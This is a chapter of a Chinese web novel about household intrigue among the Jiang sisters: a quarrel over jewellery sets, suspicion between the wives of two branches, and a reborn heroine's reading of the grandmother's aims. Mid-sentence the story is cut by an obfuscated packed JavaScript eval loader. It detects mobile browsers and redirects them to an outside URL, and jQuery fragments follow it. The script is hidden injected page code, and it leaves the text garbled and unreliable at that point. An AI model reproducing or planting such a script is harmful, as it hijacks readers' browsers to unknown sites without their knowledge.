姜老夫人被几个孙女围着，哪里知道这边小范围的暗流涌动，姜以绣将手中的帕子攥紧，“问就问。”


    她就不信，祖母会一套头面都舍不得给自己换。虽然她的亲生母亲已经去世了，但祖母看在她幼年丧母的份上，对她还是格外宽厚，她感觉祖母还是很疼爱她的。


    姜以绣对这点自信还是有，她过去，不动声色推开坐在姜老夫人身旁的三小姐，娇娇一笑，拖着腔调喊：“祖母……”


    姜老夫人和蔼问道：“绣姐儿拿到新头面可开心？”


    姜以绣咬了咬唇，露出几分委屈的神色：“开心的，但我更喜欢大姐姐的那套，我想跟大姐姐换，大姐姐不愿意。”


    姜以嫣说的分明是要听姜老夫人的意思，到她这就成不愿意了。但姜以嫣并没有为自己解释，而是亭亭玉立地站在姜老夫人身侧，一副全凭老夫人高兴的模样。


    姜老夫人脸色都没变，摸着姜以绣的小脑袋道：“绣姐儿还小呢，那青色也很适合你。”


    “可是，祖母，我觉得红色……”


    姜老夫人直接打断她后面的话，笑了笑：“这都是祖母亲自挑选的，你是不满意那头面，还是不满意祖母啊？”


    “不是，我……”姜以绣扫了眼四周的妹妹们，哪个不是喜笑颜开？所有人都开心，要是她偏偏说不满意，岂不是会惹祖母不开心。


    但是让她看到姜以嫣可以轻易得到自己想要的东西，她心里就怎么都不是滋味，凭什么？她跟姜以嫣就差半个月，若是她早点出生，她就是姜府的大小姐了。


    偏偏姜以嫣比她出生早半个月，不仅占了姜府大小姐的身份，就连父亲也在京城当官，母亲也是家中管事的太太。她的母亲呢？她母亲早就入土了，她现在要喊一个本该是她姨母的人为母亲，父亲又完全不管孩子，只知道睡在女人的肚皮上，今天她若是连一个小小的头面都争不到，将来还能为自己争取什么？


    “祖母，大姐姐是姐姐，她不管什么都应该让着妹妹才对，这不也是祖母一直教导我们这些做姐姐的吗？我只是想跟她换一套头面而已，又不是抢过来，孙女没有做错什么！”


    姜老夫人笑意微敛，“你就这么想要你大姐姐手里的那套头面？”


    姜以绣一听是有松口的机会，连忙点头示意，“对！”


    姜老夫人垂眸，心思微转，最后竟是没有拒绝，反而直接做主让两人调换了头面。


    姜以嫣也很爽快应了，交换头面时，她也没什么不情愿。


    姜以绣没想到竟然真的换成功，当下又为自己争取的勇气感到自豪。


    刚站在二小姐跟大小姐不远处的九小姐姜以婉听到了要头面的经过，内心觉得很是憋屈，她本来得到这套头面还挺高兴，但又听到姜以绣炫耀皮肤白，一下气愤不已，只觉得姜以绣是在暗讽自己。


    现在屋里的几个孙女里，皮肤最不白的是谁？当然是她！


    姜以绣偏偏往她心窝子里戳，难不成是故意暗讽她皮肤黄？姜以婉越想越觉得憋屈，便去找了自己关系比较好的七小姐姜以龄，“七姐姐，一会儿咱们去花园扑蝴蝶吧。”


    姜以龄内心有点嫌弃，但没表现出来，语气淡淡道：“这季节蝴蝶太少了，没什么意思。再说九妹妹，你还是少晒些太阳为好。”


    她也是好意提醒。


    但姜以婉刚还觉得被姜以绣暗讽了，现在姜以龄又说让她少晒太阳，她一下没忍住就红了眼圈，哭喊道：“我不跟七姐姐玩了！”


    她甩了下帕子转身。


    姜以龄冷笑几声，谁稀罕。


    姜以婉转头去找了其他几个小姐，五房的五小姐姜以芝见她眼圈通红过来，好心问道：“怎么了，谁惹着九妹妹了。”


    姜以婉委屈说出刚才跟姜以龄的纷争，姜以芝便好心安慰她：“别难过，皮肤白有皮肤白的好，但皮肤黄也不差，那正是说明你很健康，咱们……”


    话没说完，见姜以婉又要气哭了，姜以芝只好把剩下的安慰咽下去，转而她忽然想起早晨听到府里几个小丫鬟讨论的事，便跟姜以婉提起。


    姜以婉听完，湿润的眼睫眨了眨：“真的那么灵，吃了那药皮肤就能变白？”


    姜以芝摇头：“我是不大信这些，不过我瞧那些小丫鬟倒是都信了，听我身边的沐晴说有人亲眼看到画眉去那医馆买过药吃了，她们都觉得画眉最近白了不少。”


    姜以婉眼底出现一抹显而易见的兴奋：“还有这样神奇之事？”


    姜以芝见她似乎当真了，提醒道：“听听得了，那些小丫鬟也没什么见识。”


    但姜以婉完全听不进她的劝阻，从松涛院回去后，连忙就去找了秦氏。


    ***


    秦氏还在盘算着过两日莫澜神医该抵达金陵的事，到时要给神医接风洗尘才好，她正谋算着，便看到女儿风风火火进了屋，当即就皱眉道：“婉儿，你平时的礼仪规范都学到哪儿去了？有名门淑女是你这样走路的？”


    姜以婉端了把杌子坐到秦氏身边，捧着下巴撒娇：“娘，娘，你给我去青荷巷的医馆买可以让人皮肤变白的药吧。”


    秦氏推了她一下，叮嘱她坐有坐相，随后才问：“什么药？什么变白？”


    姜以婉就把刚从姜以芝那听说的事告诉了秦氏，一脸兴奋道：“听那些丫鬟说，画眉就是吃了那药后皮肤都变白了呢！”


    秦氏皱了皱眉，敏锐追问：“画眉是哪个屋的？”


    姜以婉回忆道：“我听五姐姐说，好像是二房的，说有丫鬟看到画眉前两日去了青荷巷医馆买药呢，买的就是那吃了皮肤能变白的药。”


    二房？秦氏刚才还不以为意，在听到跟二房有关，反而还是琢磨起来，“你跟娘仔细说说怎么回事？有人看到二房的画眉去医馆？”


    姜府有专门的府医，就连下人治病也是府医看的，怎么会有人单独去外面的医馆？什么吃了能把皮肤变白的药，也就她女儿这种天真爱美的小丫头能信，若能有那般灵验，怕是早就已经献给京城里的后宫娘娘们了，那谁还成天往自己脸上浮粉？


    那画眉绝不是去买能让皮肤变白的药。


    画眉是二房的人，而二房太太是狄氏，这个狄氏向来有手段，看管她院中的人更是严厉，不可能会让自己的丫鬟随便去外面买药，那画眉的作用是什么？


    秦氏愁眉不展，身边的姜以婉还在缠着她不停吵着要那皮肤能变白的药，她烦得不行，严厉道：“成天就知道打扮，你娘我为了咱们这房尽心竭力，你就不能帮娘分担分担！”


    姜以婉不开心地嘟囔道：“我帮娘分担了啊，那莫澜神医还是我找姨母开的口呢，要不是有我帮忙，娘你能这么快办成吗？”


    “你这就来邀功了？”秦氏气笑了，正想说她口里的姨母是自己的堂姐，堂姐帮忙也是看在自己的面子上，这小丫头倒是知道给自己贴金了，秦氏对自己这女儿也是无奈。


    但随后她忽然想起什么，脸色变得很难看。


    她寻到莫澜神医的事在姜府应该传开了，若是这事办成，定然会在姜老爷子面前露脸，老夫人也会夸奖她，她若是因此得到好处，其他几房怎么坐得住？尤其是那惯爱来阴的狄氏。


    二房的画眉是真的只是意外去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620002|187834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了医馆？绝不可能，定是那狄氏想出对付她的阴招了。


    好一个狄氏，就见不得她好是吧？是不是等她寻到神医后，想用点歹毒的药害她？


    狄氏不仁，别怪她不义，不管如何，这笔帐她先记上了。


    姜以婉此时还不忘了提要求，“娘，变白的药……”


    秦氏瞥来一记冷眼，姜以婉吓得不敢再提。


    ***


    从松涛院那分完头面回来，姜以秾邀请姜以楚来自己房中喝茶吃点心。


    姜以秾这次特地准备了绿豆糕。


    当看到那叠绿豆糕时，姜以楚心里顿觉得暖意流过，那次简单的谈话里，她随口提了一句自己喜欢绿豆糕，六妹妹竟是都记在心里。


    “四姐姐怎么看待祖母同意二姐姐换了大姐姐头面那事的？”姜以秾饮了口茶，忽然开口问道。


    姜以楚回答道：“说明祖母更疼爱小一点的孙女，也因为大姐姐大方不计较，才这样顺了二姐姐的心意。”


    其实换头面只是小事，其他姜家小姐当然不会放心上。


    换做前世的姜以秾也不会多疑，但她经历过很多，也知道姜老夫人最看重什么。


    换头面那事，表面看似是因为二姐姐年纪小一点才被格外照顾，实则那是姜老夫人给大姐姐上的一堂课。


    大姐姐快要及笄，但婚事却迟迟没有眉目，当然，也不是没人来说亲，只是大姐姐身为姜家的长房嫡长女，她若出嫁的话考量会更多，姜家自然希望她能嫁到一个好的世家，与姜家门当户对，最好是门第比姜家更好。


    陆家大公子跟姜以秾有口头婚约，自然不用再嫁一个姜家女去陆家，那除去陆家，整个金陵能与陆家一比的，唯有那与陆家并列第一世家之名的谢家。


    姜以秾确定，这个时候的姜老爷子和姜老夫人绝对在打谢家的主意。


    谢家的长房嫡长子的确跟大姐姐年龄最合适，对方同样没有定亲，若双方真的有联姻的意向，极有可能达成婚约。


    现在的大姐姐是最有可能嫁去谢家的。


    谢家拥有金陵第一世家之名，其家族底蕴极其的深厚，与陆家祖上出过几位首辅和多位状元及文臣的家族不同，谢家祖上可是与开国皇帝共同创建江山的功臣，谢家家主靖国公的爵位是世袭罔替。


    姜家虽说也拥有世家之名，但也曾没落过，现在追了上来回到以往的荣光，但即使如此，再努力几十年也赶不上谢家。


    能让大姐姐嫁进谢家，定是姜家目前头等大事。


    而像谢家这样的世家，只会比姜家内宅情况还要复杂，水还要深，大姐姐嫁去谢家的话，将来可是要接当家主母的地位，若是大姐姐连自己娘家的妹妹都治不服，她还怎么让谢家的众人服她？


    姜老夫人今日之举看似偏心二姐姐，实则不过只是拿二姐姐当靶子练手，让大姐姐提早适应内宅这样勾心斗角的生活。


    姜以秾猜测，要不了多久，大姐姐会想办法对付二姐姐的，大姐姐也并不会有压力，大姐姐是何等的聪慧？当然明白老夫人的心思。


    姜以楚听完姜以秾的想法，嘴巴张的都要合不拢，懵懵地眨眼道：“竟是这样吗？怎么会有这样深的门道？我以为……”


    姜以秾轻声道：“四姐姐，你只要明白，在家里的姑娘中，目前大姐姐才是祖母最看重的孙女。”


    即使前世的大姐姐不知为何没有嫁成谢家大公子，反而是嫁去了卫家，但姜老夫人仍旧是把大姐姐看的最重，所以宁愿牺牲掉四姐姐也要保住大姐姐。


    她跟姜以楚说这些，是想让她认清姜老夫人。